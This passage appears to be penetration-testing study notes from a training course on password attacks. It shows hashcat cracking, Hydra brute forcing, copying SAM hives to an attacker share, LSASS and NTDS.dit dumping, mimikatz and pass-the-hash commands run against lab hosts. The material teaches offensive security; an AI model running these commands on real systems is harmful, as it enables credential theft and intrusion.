toggles4.rule -rw-r--r-- 1 root root 49073 Apr 24 2024 toggles5.rule -rw-r--r-- 1 root root 55346 Apr 24 2024 unix-ninja-leetspeak.rule ``` As another example, imagine an additional md5 hash was leaked from the SQL database: `1b0556a75770563578569ae21392630c`. We weren't able to crack it using `rockyou.txt` alone, so in a subsequent attempt, we might apply some common rule-based transformations. One ruleset we could try is `best64.rule`, which contains 64 standard password modifications—such as appending numbers or substituting characters with their "leet" equivalents. To perform this kind of attack, we would append the `-r ` option to the command, as shown below: Introduction to Hashcat ```shell-session RtlCopyMemory@htb[/htb]$ hashcat -a 0 -m 0 1b0556a75770563578569ae21392630c /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule ...SNIP... Session..........: hashcat Status...........: Cracked Hash.Mode........: 0 (MD5) Hash.Target......: 1b0556a75770563578569ae21392630c Time.Started.....: Sat Apr 19 09:16:35 2025 (0 secs) Time.Estimated...: Sat Apr 19 09:16:35 2025 (0 secs) Kernel.Feature...: Pure Kernel Guess.Base.......: File (/usr/share/wordlists/rockyou.txt) Guess.Mod........: Rules (/usr/share/hashcat/rules/best64.rule) Guess.Queue......: 1/1 (100.00%) Speed.#1.........: 13624.4 kH/s (5.40ms) @ Accel:512 Loops:77 Thr:1 Vec:8 Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new) Progress.........: 236544/1104517645 (0.02%) Rejected.........: 0/236544 (0.00%) Restore.Point....: 2048/14344385 (0.01%) Restore.Sub.#1...: Salt:0 Amplifier:0-77 Iteration:0-77 Candidate.Engine.: Device Generator Candidates.#1....: slimshady -> drousd Hardware.Mon.#1..: Util: 47% Started: Sat Apr 19 09:16:35 2025 Stopped: Sat Apr 19 09:16:37 2025 ``` **Mask attack** [Mask attack](https://hashcat.net/wiki/doku.php?id=mask_attack) (`-a 3`) is a type of brute-force attack in which the keyspace is explicitly defined by the user. For example, if we know that a password is eight characters long, rather than attempting every possible combination, we might define a mask that tests combinations of six letters followed by two numbers. A mask is defined by combining a sequence of symbols, each representing a built-in or custom character set. Hashcat includes several built-in character sets: | Symbol | Charset | | ------ | --------------------------------------- | | ?l | abcdefghijklmnopqrstuvwxyz | | ?u | ABCDEFGHIJKLMNOPQRSTUVWXYZ | | ?d | 0123456789 | | ?h | 0123456789abcdef | | ?H | 0123456789ABCDEF | | ?s | «space»!"#$%&'()\*+,-./:;<=>?@\[]^\_\`{ | | ?a | ?l?u?d?s | | ?b | 0x00 - 0xff | Custom charsets can be defined with the `-1`, `-2`, `-3`, and `-4` arguments, then referred to with `?1`, `?2`, `?3`, and `?4`. Let's say that we specifically want to try passwords which start with an uppercase letter, continue with four lowercase letters, a digit, and then a symbol. The resulting hashcat mask would be `?u?l?l?l?l?d?s`. Introduction to Hashcat ```shell-session RtlCopyMemory@htb[/htb]$ hashcat -a 3 -m 0 1e293d6912d074c0fd15844d803400dd '?u?l?l?l?l?d?s' ...SNIP... Session..........: hashcat Status...........: Cracked Hash.Mode........: 0 (MD5) Hash.Target......: 1e293d6912d074c0fd15844d803400dd Time.Started.....: Sat Apr 19 09:43:02 2025 (4 secs) Time.Estimated...: Sat Apr 19 09:43:06 2025 (0 secs) Kernel.Feature...: Pure Kernel Guess.Mask.......: ?u?l?l?l?l?d?s [7] Guess.Queue......: 1/1 (100.00%) Speed.#1.........: 101.6 MH/s (9.29ms) @ Accel:512 Loops:1024 Thr:1 Vec:8 Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new) Progress.........: 456237056/3920854080 (11.64%) Rejected.........: 0/456237056 (0.00%) Restore.Point....: 25600/223080 (11.48%) Restore.Sub.#1...: Salt:0 Amplifier:5120-6144 Iteration:0-1024 Candidate.Engine.: Device Generator Candidates.#1....: Uayvf7- -> Dikqn5! Hardware.Mon.#1..: Util: 98% Started: Sat Apr 19 09:42:46 2025 Stopped: Sat Apr 19 09:43:08 2025 ``` # Remote password attacks ## Network services ### WinRM [Windows Remote Management](https://docs.microsoft.com/en-us/windows/win32/winrm/portal) (`WinRM`) is the Microsoft implementation of the network protocol [Web Services Management Protocol](https://docs.microsoft.com/en-us/windows/win32/winrm/ws-management-protocol) (`WS-Management`). It is a network protocol based on XML web services using the [Simple Object Access Protocol](https://docs.microsoft.com/en-us/windows/win32/winrm/windows-remote-management-glossary) (`SOAP`) used for remote management of Windows systems. It takes care of the communication between [Web-Based Enterprise Management](https://en.wikipedia.org/wiki/Web-Based_Enterprise_Management) (`WBEM`) and the [Windows Management Instrumentation](https://docs.microsoft.com/en-us/windows/win32/wmisdk/wmi-start-page) (`WMI`), which can call the [Distributed Component Object Model](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-dcom/4a893f3d-bd29-48cd-9f43-d9777a4415b0) (`DCOM`). However, for security reasons, WinRM must be activated and configured manually in Windows 10. Therefore, it depends heavily on the environment security in a domain or local network where we want to use WinRM. In most cases, one uses certificates or only specific authentication mechanisms to increase its security. WinRM uses the TCP ports `5985` (`HTTP`) and `5986` (`HTTPS`). A handy tool that we can use for our password attacks is [CrackMapExec](https://github.com/byt3bl33d3r/CrackMapExec), which can also be used for other protocols such as SMB, LDAP, MSSQL, and others. We recommend reading the [official documentation](https://web.archive.org/web/20231116172005/https://www.crackmapexec.wiki/) for this tool to become familiar with it. Another handy tool that we can use to communicate with the WinRM service is [Evil-WinRM](https://github.com/Hackplayers/evil-winrm), which allows us to communicate with the WinRM service efficiently. #### CrackMapExec ```bash crackmapexec -h crackmapexec smb -h crackmapexec -u -p ``` #### Evil-WinRM Install: `sudo gem install evil-winrm` ```bash evil-winrm -i -u -p ``` ### SSH The SSH server runs on `TCP port 22` by default, to which we can connect using an SSH client. This service uses three different cryptography operations/methods: `symmetric` encryption, `asymmetric` encryption, and `hashing`. **Symmetric Encryption** Symmetric encryption uses the `same key` for encryption and decryption. However, anyone who has access to the key could also access the transmitted data. Therefore, a key exchange procedure is needed for secure symmetric encryption. The [Diffie-Hellman](https://en.wikipedia.org/wiki/Diffie%E2%80%93Hellman_key_exchange) key exchange method is used for this purpose. If a third party obtains the key, it cannot decrypt the messages because the key exchange method is unknown. However, this is used by the server and client to determine the secret key needed to access the data. Many different variants of the symmetrical cipher system can be used, such as AES, Blowfish, 3DES, etc. **Asymmetrical Encryption** Asymmetric encryption uses `two SSH keys`: a private key and a public key. The private key must remain secret because only it can decrypt the messages that have been encrypted with the public key. If an attacker obtains the private key, which is often not password protected, he will be able to log in to the system without credentials. Once a connection is established, the server uses the public key for initialization and authentication. If the client can decrypt the message, it has the private key, and the SSH session can begin. **Hashing** The hashing method converts the transmitted data into another unique value. SSH uses hashing to confirm the authenticity of messages. This is a mathematical algorithm that only works in one direction. #### **Hydra - SSH** We can use a tool such as `Hydra` to brute force SSH. This is covered in-depth in the [Login Brute Forcing](https://academy.hackthebox.com/course/preview/login-brute-forcing/introduction-to-brute-forcing) module. ```bash hydra -L user.list -P password.list ssh://10.129.42.197 ``` ### Remote Desktop Protocol (RDP) Microsoft's [Remote Desktop Protocol](https://docs.microsoft.com/en-us/troubleshoot/windows-server/remote/understanding-remote-desktop-protocol) (`RDP`) is a network protocol that allows remote access to Windows systems via `TCP port 3389` by default. #### **Hydra - RDP** We can also use `Hydra` to perform RDP bruteforcing. ```bash hydra -L user.list -P password.list rdp://10.129.42.197 ``` Linux offers different clients to communicate with the desired server using the RDP protocol. These include [Remmina](https://remmina.org/), [rdesktop](http://www.rdesktop.org/), [xfreerdp](https://linux.die.net/man/1/xfreerdp), and many others. For our purposes, we will work with xfreerdp. ```bash xfreerdp /v: /u: /p: ``` ### SMB ```shell-session hydra -L user.list -P password.list smb://10.129.42.197 ``` old Hydra might not support SMBv3, metasploit: ```shell-session use auxiliary/scanner/smb/smb_login set user_file username.list set pass_file password.list set rhosts 10.129.42.197 run ``` CrackMapExec can list shares ```shell-session crackmapexec smb 10.129.42.197 -u "user" -p "password" --shares ``` and Smbclient can interact ```shell-session smbclient -U user \\\\10.129.42.197\\SHARENAME ``` # Password mutations Many people create their passwords according to `simplicity instead of security`. To eliminate this human weakness that often compromises security measures, password policies can be created on all systems that determine how a password should look. many employees often select passwords that can have the company's name in the passwords. A person's preferences and interests also play a significant role. These can be pets, friends, sports, hobbies, and many other elements of life. `OSINT` information gathering can be very helpful for finding out more about a user's preferences and may assist with password guessing. Commonly, users use the following additions for their password to fit the most common password policies: | **Description** | **Password Syntax** | | -------------------------------------- | ------------------- | | First letter is uppercase. | `Password` | | Adding numbers. | `Password123` | | Adding year. | `Password2022` | | Adding month. | `Password02` | | Last character is an exclamation mark. | `Password2022!` | | Adding special characters. | `P@ssw0rd2022!` | Based on statistics provided by [WPengine](https://wpengine.com/resources/passwords-unmasked-infographic/), most password lengths are `not longer` than `ten` characters. So what we can do is to pick specific terms that are at least `five` characters long and seem to be the most familiar to the users, such as the names of their pets, hobbies, preferences, and other interests. If the user chooses a single word (such as the current month), adds the `current year`, followed by a special character, at the end of their password, we would reach the `ten-character` password requirement. ## Hashcat We can use a very powerful tool called [Hashcat](https://hashcat.net/hashcat/) to combine lists of potential names and labels with specific mutation rules to create custom wordlists. Hashcat mutation syntax | **Function** | **Description** | | ------------ | ------------------------------------------------- | | `:` | Do nothing. | | `l` | Lowercase all letters. | | `u` | Uppercase all letters. | | `c` | Capitalize the first letter and lowercase others. | | `sXY` | Replace all instances of X with Y. | | `$!` | Add the exclamation character at the end. | {% file src="/files/8ZVztFWeA85gor1YMNvn" %} Hashcat will apply the rules of `custom.rule` for each word in `password.list` and store the mutated version in our `mut_password.list` accordingly. Thus, one word will result in fifteen mutated words in this case. ```bash hashcat --force password.list -r custom.rule --stdout | sort -u > mut_password.list ``` `Hashcat` and `John` come with pre-built rule lists that we can use for our password generating and cracking purposes. One of the most used rules is `best64.rule`, which can often lead to good results. Existing rules examples: ```bash ls /usr/share/hashcat/rules/ ``` ## **Generating Wordlists Using CeWL** ```bash cewl https://www.inlanefreight.com -d 4 -m 6 --lowercase -w inlane.wordlist ``` * `-d` depth to spider * `-m` minimum length of the word * `--lowercase` storage of the found words in lowercase * `-w` output ## Limiting password length 11 chars min, alphanumeric and punctuation: ``` sed -n '/^[[:alnum:][:punct:]]\{11,\}$/p' mut_password.list > mut_pass.list ``` Max or min chars (if on Windows, this will count UTF-16 as 2 chars and will add for line endings... use notepad++ to sanitize that passwords file lol). Min of 8 chars length: ```bash awk 'length > 7' .\pass.list ``` ## My own rules Created with the help of the [official documentation](https://hashcat.net/wiki/doku.php?id=rule_based_attack) ### Underscore (optional) and numbers with different capitalization Combine the next two using: ```bash hashcat --stdout -r .\underscore.rule -r .\custom.rule .\password.txt ``` {% file src="/files/T5VaiYNwd7QWwArGfaNJ" %} {% file src="/files/EhfhlRc6IUnOUUDzqvUT" %} ### Included in Hashcat `d3ad0ne` # Password Reuse / Default Passwords ## Credential Stuffing Trying default passwords counts as [Credential Stuffing](https://owasp.org/www-community/attacks/Credential_stuffing) There are various databases that keep a running list of known default credentials. One of them is the [DefaultCreds-Cheat-Sheet](https://github.com/ihebski/DefaultCreds-cheat-sheet). Other attemps could be done with already found passwords that might be re-used, maybe integrating some [mutation ](/password-attacks/password-mutations)rules Here, OSINT plays another significant role. Because OSINT gives us a "feel" for how the company and its infrastructure are structured, we will understand which passwords and user names we can combine. We can then store these in our lists and use them afterward. In addition, we can use Google to see if the applications we find have hardcoded credentials that can be used. Besides the default credentials for applications, some lists offer them for routers. One of these lists can be found [here](https://www.softwaretestinghelp.com/default-router-username-and-password-list/). # Windows Local Password Attacks ## Attacking SAM With access to a non-domain joined Windows system, we may benefit from attempting to quickly dump the files associated with the SAM database to transfer them to our attack host and start cracking hashes offline. Doing this offline will ensure we can continue to attempt our attacks without maintaining an active session with a target. Let's walk through this process together using a target host. ### **Copying SAM Registry Hives** There are three registry hives that we can copy if we have local admin access on the target; each will have a specific purpose when we get to dumping and cracking the hashes. Here is a brief description of each in the table below: | Registry Hive | Description | | --------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------- | | `hklm\sam` | Contains the hashes associated with local account passwords. We will need the hashes so we can crack them and get the user account passwords in cleartext. | | `hklm\system` | Contains the system bootkey, which is used to encrypt the SAM database. We will need the bootkey to decrypt the SAM database. | | `hklm\security` | Contains cached credentials for domain accounts. We may benefit from having this on a domain-joined Windows target. | We can create backups of these hives using the `reg.exe` utility. Launching `cmd.exe` as admin: ```batch reg.exe save hklm\sam C:\sam.save reg.exe save hklm\system C:\system.save reg.exe save hklm\security C:\security.save ``` Technically we will only need `hklm\sam` & `hklm\system`, but `hklm\security` can also be helpful to save as it can contain hashes associated with cached domain user account credentials present on domain-joined hosts. Lets transfer them (this is only one possible method): ### **Creating a Share with smbserver.py** On Kali linux, there's a symlink to a script that simplifies using impacket: ```bash sudo impacket-smbserver -smb2support CompData /home/ltnbob/Documents/ ``` otherwise it can be manually found here: ```bash sudo python3 /usr/share/doc/python3-impacket/examples/smbserver.py -smb2support CompData /home/ltnbob/Documents/ ``` * `CompData` Share name * `/home/ltnbob/Documents` Target folder * `-smb2support` ensures newer SMB support ```batch move sam.save \\10.10.15.16\CompData move security.save \\10.10.15.16\CompData move system.save \\10.10.15.16\CompData ``` ### Dumping Hashes with Impacket's secretsdump.py Again, on Kali Linux we have a shortcut: ```bash sudo impacket-secretsdump -sam sam.save -security security.save -system system.save LOCAL ``` Notice the first step secretsdump executes is targeting the `system bootkey` before proceeding to dump the `LOCAL SAM hashes`. It cannot dump those hashes without the boot key because that boot key is used to encrypt & decrypt the SAM database, which is why it is important for us to have copies of the registry hives we discussed earlier in this section. Notice at the top of the secretsdump.py output: ```shell-session Dumping local SAM hashes (uid:rid:lmhash:nthash) ``` This tells us how to read the output and what hashes we can crack. Most modern Windows operating systems store the password as an NT hash. Operating systems older than Windows Vista & Windows Server 2008 store passwords as an LM hash, so we may only benefit from cracking those if our target is an older Windows OS. Knowing this, we can copy the NT hashes associated with each user account into a text file and start cracking passwords. It may be beneficial to make a note of each user, so we know which password is associated with which user account. ### Cracking Hashes with Hashcat awk command to save the nt hashes ```bash awk '{ split($0, arr, ":"); print arr[4]; }' userhashlist.txt ``` ```bash sudo hashcat -m 1000 userhashlist.txt /usr/share/wordlists/rockyou.txt ``` (rockyou.txt is usually compressed in Kali Linux, you need to extract it) Having the passwords could be useful to us in many ways. We could attempt to use the passwords we cracked to access other systems on the network. It is very common for people to re-use passwords across different work & personal accounts. Knowing this technique, we covered can be useful on engagements. We will benefit from using this any time we come across a vulnerable Windows system and gain admin rights to dump the SAM database. {% hint style="info" %} Keep in mind that this is a well-known technique, so admins may have safeguards to prevent and detect it. We can see some of these ways [documented](https://attack.mitre.org/techniques/T1003/002/) within the MITRE attack framework. {% endhint %} ### Remote Dumping & LSA Secrets Considerations With access to credentials with `local admin privileges`, it is also possible for us to target LSA Secrets over the network. This could allow us to extract credentials from a running service, scheduled task, or application that uses LSA secrets to store passwords. or [NetExec](https://www.netexec.wiki/) ```bash crackmapexec smb --local-auth -u -p --lsa ``` We can also dump hashes from the SAM database remotely. ```bash crackmapexec smb --local-auth -u -p --sam ``` ### Mimikatz hash dump Launch mimikatz then ``` privilege::debug sekurlsa::logonpasswords ``` ## Attacking LSASS In addition to getting copies of the SAM database to dump and crack hashes, we will also benefit from targeting LSASS. LSASS is a critical service that plays a central role in credential management and the authentication processes in all Windows operating systems.
Upon initial logon, LSASS will: * Cache credentials locally in memory * Create [access tokens](https://docs.microsoft.com/en-us/windows/win32/secauthz/access-tokens) * Enforce security policies * Write to Windows [security log](https://docs.microsoft.com/en-us/windows/win32/eventlog/event-logging-security) Let's cover some of the techniques and tools we can use to dump LSASS memory and extract credentials from a target running Windows. ### Dumping LSASS Process Memory **Task Manager Method**
A file called `lsass.DMP` is created and saved in: ```cmd-session C:\Users\loggedonusersdirectory\AppData\Local\Temp ``` **Rundll32.exe & Comsvcs.dll Method** Before issuing the command to create the dump file, we must determine what process ID (`PID`) is assigned to `lsass.exe`. This can be done from cmd or PowerShell (in order): ```batch tasklist /svc ``` ```powershell Get-Process lsass ``` Then to dump: ```powershell rundll32 C:\windows\system32\comsvcs.dll, MiniDump C:\lsass.dmp full ``` Recall that most modern AV tools recognize this as malicious and prevent the command from executing. In these cases, we will need to consider ways to bypass or disable the AV tool we are facing. AV bypassing techniques are outside of the scope of this module. ### Using Pypykatz to Extract Credentials Once we have the dump file on our attack host, we can use a powerful tool called [pypykatz](https://github.com/skelsec/pypykatz) to attempt to extract credentials from the .dmp file. ```bash pypykatz lsa minidump /home/peter/Documents/lsass.dmp ``` * `lsa` in the command because LSASS is a subsystem of `local security authority` * specify the data source as a `minidump` Useful information in the output: * [MSV](https://docs.microsoft.com/en-us/windows/win32/secauthn/msv1-0-authentication-package) is an authentication package in Windows that LSA calls on to validate logon attempts against the SAM database. * `WDIGEST` is an older authentication protocol enabled by default in `Windows XP` - `Windows 8` and `Windows Server 2003` - `Windows Server 2012`. LSASS caches credentials used by WDIGEST in clear-text. * [Kerberos](https://web.mit.edu/kerberos/#what_is) is a network authentication protocol used by Active Directory in Windows Domain environments. Domain user accounts are granted tickets upon authentication with Active Directory. This ticket is used to allow the user to access shared resources on the network that they have been granted access to without needing to type their credentials each time. LSASS `caches passwords`, `ekeys`, `tickets`, and `pins` associated with Kerberos. It is possible to extract these from LSASS process memory and use them to access other systems joined to the same domain. * The Data Protection Application Programming Interface or [DPAPI](https://docs.microsoft.com/en-us/dotnet/standard/security/how-to-use-data-protection) is a set of APIs in Windows operating systems used to encrypt and decrypt DPAPI data blobs on a per-user basis for Windows OS features and various third-party applications. Mimikatz and Pypykatz can extract the DPAPI `masterkey` for the logged-on user whose data is present in LSASS process memory. This masterkey can then be used to decrypt the secrets associated with each of the applications using DPAPI and result in the capturing of credentials for various accounts.\\ **Cracking the NT Hash with Hashcat** Same as above: ```bash sudo hashcat -m 1000 hashestocrack.txt /usr/share/wordlists/rockyou.txt ``` ## Attacking Windows Credential Manager ### Windows Vault and Credential Manager [Credential Manager](https://learn.microsoft.com/en-us/windows-server/security/windows-authentication/credentials-processes-in-windows-authentication#windows-vault-and-credential-manager) is a feature built into Windows since `Server 2008 R2` and `Windows 7`. Thorough documentation on how it works is not publicly available, but essentially, it allows users and applications to securely store credentials relevant to other systems and websites. Credentials are stored in special encrypted folders on the computer under the user and system profiles ([MITRE ATT\&CK](https://attack.mitre.org/techniques/T1555/004/)): * `%UserProfile%\AppData\Local\Microsoft\Vault\` * `%UserProfile%\AppData\Local\Microsoft\Credentials\` * `%UserProfile%\AppData\Roaming\Microsoft\Vault\` * `%ProgramData%\Microsoft\Vault\` * `%SystemRoot%\System32\config\systemprofile\AppData\Roaming\Microsoft\Vault\` Each vault folder contains a `Policy.vpol` file with AES keys (AES-128 or AES-256) that is protected by DPAPI. These AES keys are used to encrypt the credentials. Newer versions of Windows make use of `Credential Guard` to further protect the DPAPI master keys by storing them in secured memory enclaves ([Virtualization-based Security](https://learn.microsoft.com/en-us/windows-hardware/design/device-experiences/oem-vbs)). Microsoft often refers to the protected stores as `Credential Lockers` (formerly `Windows Vaults`). Credential Manager is the user-facing feature/API, while the actual encrypted stores are the vault/locker folders. The following table lists the two types of credentials Windows stores: | Name | Description | | ------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | Web Credentials | Credentials associated with websites and online accounts. This locker is used by Internet Explorer and legacy versions of Microsoft Edge. | | Windows Credentials | Used to store login tokens for various services such as OneDrive, and credentials related to domain users, local network resources, services, and shared directories. |
It is possible to export Windows Vaults to `.crd` files either via Control Panel or with the following command. Backups created this way are encrypted with a password supplied by the user, and can be imported on other Windows systems. ```cmd-session C:\Users\sadams>rundll32 keymgr.dll,KRShowKeyMgr ```
### Enumerating credentials with cmdkey We can use [cmdkey](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/cmdkey) to enumerate the credentials stored in the current user's profile: ```cmd-session C:\Users\sadams>whoami srv01\sadams C:\Users\sadams>cmdkey /list Currently stored credentials: Target: WindowsLive:target=virtualapp/didlogical Type: Generic User: 02hejubrtyqjrkfi Local machine persistence Target: Domain:interactive=SRV01\mcharles Type: Domain Password User: SRV01\mcharles ``` Stored credentials are listed with the following format: | Key | Value | | ----------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------- | | Target | The resource or account name the credential is for. This could be a computer, domain name, or a special identifier. | | Type | The kind of credential. Common types are `Generic` for general credentials, and `Domain Password` for domain user logons. | | User | The user account associated with the credential. | | Persistence | Some credentials indicate whether a credential is saved persistently on the computer; credentials marked with `Local machine persistence` survive reboots. | The first credential in the command output above, `virtualapp/didlogical`, is a generic credential used by Microsoft account/Windows Live services. The random looking username is an internal account ID. This entry may be ignored for our purposes. The second credential, `Domain:interactive=SRV01\mcharles`, is a domain credential associated with the user SRV01\mcharles. `Interactive` means that the credential is used for interactive logon sessions. Whenever we come across this type of credential, we can use `runas` to impersonate the stored user like so: ```cmd-session C:\Users\sadams>runas /savecred /user:SRV01\mcharles cmd Attempting to start cmd as user "SRV01\mcharles" ... ```
### Extracting credentials with Mimikatz There are many different tools that can be used to decrypt stored credentials. One of the tools we can use is [mimikatz](https://github.com/gentilkiwi/mimikatz). Even within `mimikatz`, there are multiple ways to attack these credentials - we can either dump credentials from memory using the `sekurlsa` module, or we can manually decrypt credentials using the `dpapi` module. For this example, we will target the LSASS process with `sekurlsa`: ```cmd-session C:\Users\Administrator\Desktop> mimikatz.exe .#####. mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53 .## ^ ##. "A La Vie, A L'Amour" - (oe.eo) ## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) ## \ / ## > https://blog.gentilkiwi.com/mimikatz '## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com ) '#####' > https://pingcastle.com / https://mysmartlogon.com ***/ mimikatz # privilege::debug Privilege '20' OK mimikatz # sekurlsa::credman ...SNIP... Authentication Id : 0 ; 630472 (00000000:00099ec8) Session : RemoteInteractive from 3 User Name : mcharles Domain : SRV01 Logon Server : SRV01 Logon Time : 4/27/2025 2:40:32 AM SID : S-1-5-21-1340203682-1669575078-4153855890-1002 credman : [00000000] * Username : mcharles@inlanefreight.local * Domain : onedrive.live.com * Password : ...SNIP... ...SNIP... ``` Note: Some other tools which may be used to enumerate and extract stored credentials included [SharpDPAPI](https://github.com/GhostPack/SharpDPAPI), [LaZagne](https://github.com/AlessandroZ/LaZagne), and [DonPAPI](https://github.com/login-securite/DonPAPI). ## Attacking Active Directory & NTDS.dit How we can extract credentials through the use of a `dictionary attack against AD accounts` and `dumping hashes` from the `NTDS.dit` file.
Once a Windows system is joined to a domain, it will `no longer default to referencing the SAM database to validate logon requests`. ### Dictionary Attacks against AD accounts using CrackMapExec Keep in mind that a dictionary attack is essentially using the power of a computer to guess a username &/or password using a customized list of potential usernames and passwords. It can be rather `noisy` (easy to detect) to conduct these attacks over a network because they can generate a lot of network traffic and alerts on the target system as well as eventually get denied due to login attempt restrictions that may be applied through the use of [Group Policy](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh831791\(v=ws.11\)). When we find ourselves in a scenario where a dictionary attack is a viable next step, we can benefit from trying to `custom tailor` our attack as much as possible. Example of possible usernames, could help from OSINT. | Username Convention | Practical Example for Jane Jill Doe | | ----------------------------------- | ----------------------------------- | | `firstinitiallastname` | jdoe | | `firstinitialmiddleinitiallastname` | jjdoe | | `firstnamelastname` | janedoe | | `firstname.lastname` | jane.doe | | `lastname.firstname` | doe.jane | | `nickname` | doedoehacksstuff | Often, an email address's structure will give us the employee's username (structure: username\@domain). For example, from the email address `jdoe`@`inlanefreight.com`, we see that `jdoe` is the username. {% hint style="info" %} A tip from MrB3n: We can often find the email structure by Googling the domain name, i.e., “@inlanefreight.com” and get some valid emails. From there, we can use a script to scrape various social media sites and mashup potential valid usernames. Some organizations try to obfuscate their usernames to prevent spraying, so they may alias their username like a907 (or something similar) back to joe.smith. That way, email messages can get through, but the actual internal username isn’t disclosed, making password spraying harder. Sometimes you can use google dorks to search for “inlanefreight.com filetype:pdf” and find some valid usernames in the PDF properties if they were generated using a graphics editor. From there, you may be able to discern the username structure and potentially write a small script to create many possible combinations and then spray to see if any come back valid. {% endhint %} We can manually create our list(s) or use an `automated list generator` such as the Ruby-based tool [Username Anarchy](https://github.com/urbanadventurer/username-anarchy) to convert a list of real names into common username formats. ```bash ./username-anarchy -i /home/ltnbob/names.txt ``` **Launching the Attack with CrackMapExec** ```shell-session crackmapexec smb 10.129.201.57 -u bwilliamson -p /usr/share/wordlists/fasttrack.txt ``` #### What is left behind It can be useful to know what might have been left behind by an attack. Knowing this can make our remediation recommendations more impactful and valuable for the client we are working with. On any Windows operating system, an admin can navigate to `Event Viewer` and view the Security events to see the exact actions that were logged. Once we have discovered some credentials, we could proceed to try to gain remote access to the target domain controller and capture the NTDS.dit file. ### Capturing NTDS.dit `NT Directory Services` (`NTDS`) is the directory service used with AD to find & organize network resources. Recall that `NTDS.dit` file is stored at `%systemroot%/ntds` on the domain controllers in a [forest](https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/plan/using-the-organizational-domain-forest-model). This is the primary database file associated with AD and stores all domain usernames, password hashes, and other critical schema information. If this file can be captured, we could potentially compromise every account on the domain similar to the technique we covered in this module's `Attacking SAM` section. ### Connecting to a DC ```bash evil-winrm -i 10.129.201.57 -u bwilliamson -p 'P@55w0rd!' ``` **Checking Local Group Membership** Once connected, we can check to see what privileges `bwilliamson` has. We can start with looking at the local group membership using the command: ```powershell net localgroup ``` We are looking to see if the account has local admin rights. To make a copy of the NTDS.dit file, we need local admin (`Administrators group`) or Domain Admin (`Domain Admins group`) (or equivalent) rights. We also will want to check what domain privileges we have. ```powershell net user bwilliamson ``` **Creating Shadow Copy of C:** We can use `vssadmin` to create a [Volume Shadow Copy](https://docs.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service) (`VSS`) of the C: drive or whatever volume the admin chose when initially installing AD. It is very likely that NTDS will be stored on C: as that is the default location selected at install, but it is possible to change the location. We use VSS for this because it is designed to make copies of volumes that may be read & written to actively without needing to bring a particular application or system down. ```powershell vssadmin CREATE SHADOW /For=C: ``` **Copying NTDS.dit from the VSS** ```shell-session cmd.exe /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\Windows\NTDS\NTDS.dit c:\NTDS\NTDS.dit ``` You can move this file in many ways, one of which was presented in [#attacking-sam](#attacking-sam "mention") **A Faster Method: Using cme to Capture NTDS.dit** ```bash crackmapexec smb 10.129.201.57 -u bwilliamson -p P@55w0rd! --ntds ``` ### Cracking Hashes & Gaining Credentials usual NT hashes procedure, either a file or single one: ```shell-session sudo hashcat -m 1000 64f12cddaa88057e06a81b54e73b949b /usr/share/wordlists/rockyou.txt ``` ### Pass-the-Hash Considerations Useful if cannot crack the hash A PtH attack takes advantage of the [NTLM authentication protocol](https://docs.microsoft.com/en-us/windows/win32/secauthn/microsoft-ntlm#:~:text=NTLM%20uses%20an%20encrypted%20challenge,to%20the%20secured%20NTLM%20credentials) to authenticate a user using a password hash. Instead of `username`:`clear-text password` as the format for login, we can instead use `username`:`password hash`. Here is an example of how this would work: ```bash evil-winrm -i 10.129.201.57 -u Administrator -H "64f12cddaa88057e06a81b54e73b949b" ``` ## Credential harvesting in Windows ### Search Centric Here are some helpful key terms we can use that can help us discover some credentials: | | | | | ------------- | ------------ | ----------- | | Passwords | Passphrases | Keys | | Username | User account | Creds | | Users | Passkeys | Passphrases | | configuration | dbcredential | dbpassword | | pwd | Login | Credentials | We can start by using Windows search We can also take advantage of third-party tools like [Lazagne](https://github.com/AlessandroZ/LaZagne) to quickly discover credentials that web browsers or other installed applications may insecurely store. It would be beneficial to keep a [standalone copy](https://github.com/AlessandroZ/LaZagne/releases/) of Lazagne on our attack host so we can quickly transfer it over to the target ```batch start lazagne.exe all ``` This will execute Lazagne and run `all` included modules. We can include the option `-vv` to study what it is doing in the background. Once we hit enter, it will open another prompt and display the results. Using findstr We can also use [findstr](https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/findstr) to search from patterns across many types of files. Keeping in mind common key terms, we can use variations of this command to discover credentials on a Windows target: ```cmd-session findstr /SIM /C:"password" *.txt *.ini *.cfg *.config *.xml *.git *.ps1 *.yml ``` *** Here are some other places we should keep in mind when credential hunting: * Passwords in Group Policy in the SYSVOL share * Passwords in scripts in the SYSVOL share * Password in scripts on IT shares * Passwords in web.config files on dev machines and IT shares * unattend.xml * Passwords in the AD user or computer description fields * KeePass databases --> pull hash, crack and get loads of access. * Found on user systems and shares * Files such as pass.txt, passwords.docx, passwords.xlsx found on user systems, shares, [Sharepoint](https://www.microsoft.com/en-us/microsoft-365/sharepoint/collaboration) ## CrackMapExec Replacement # Linux Local Password Attacks ## Credential Hunting in Linux Hunting for credentials is one of the first steps once we have access to the system. These low-hanging fruits can give us elevated privileges within seconds or minutes. Among other things, this is part of the local privilege escalation process that we will cover here. However, it is important to note here that we are far from covering all possible situations and therefore focus on the different approaches. Common sources of credentials: | **`Files`** | **`History`** | **`Memory`** | **`Key-Rings`** | | ------------ | -------------------- | -------------------- | -------------------------- | | Configs | Logs | Cache | Browser stored credentials | | Databases | Command-line History | In-memory Processing | | | Notes | | | | | Scripts | | | | | Source codes | | | | | Cronjobs | | | | | SSH Keys | | | | ### Files We should look for, find, and inspect several categories of files one by one. These categories are the following: | Configuration files | Databases | Notes | | ------------------- | --------- | -------- | | Scripts | Cronjobs | SSH keys | There are many methods to find these configuration files, and with the following method, we will see we have reduced our search to these three file extensions. ```bash for l in $(echo ".conf .config .cnf");do echo -e "\nFile extension: " $l; find / -name *$l 2>/dev/null | grep -v 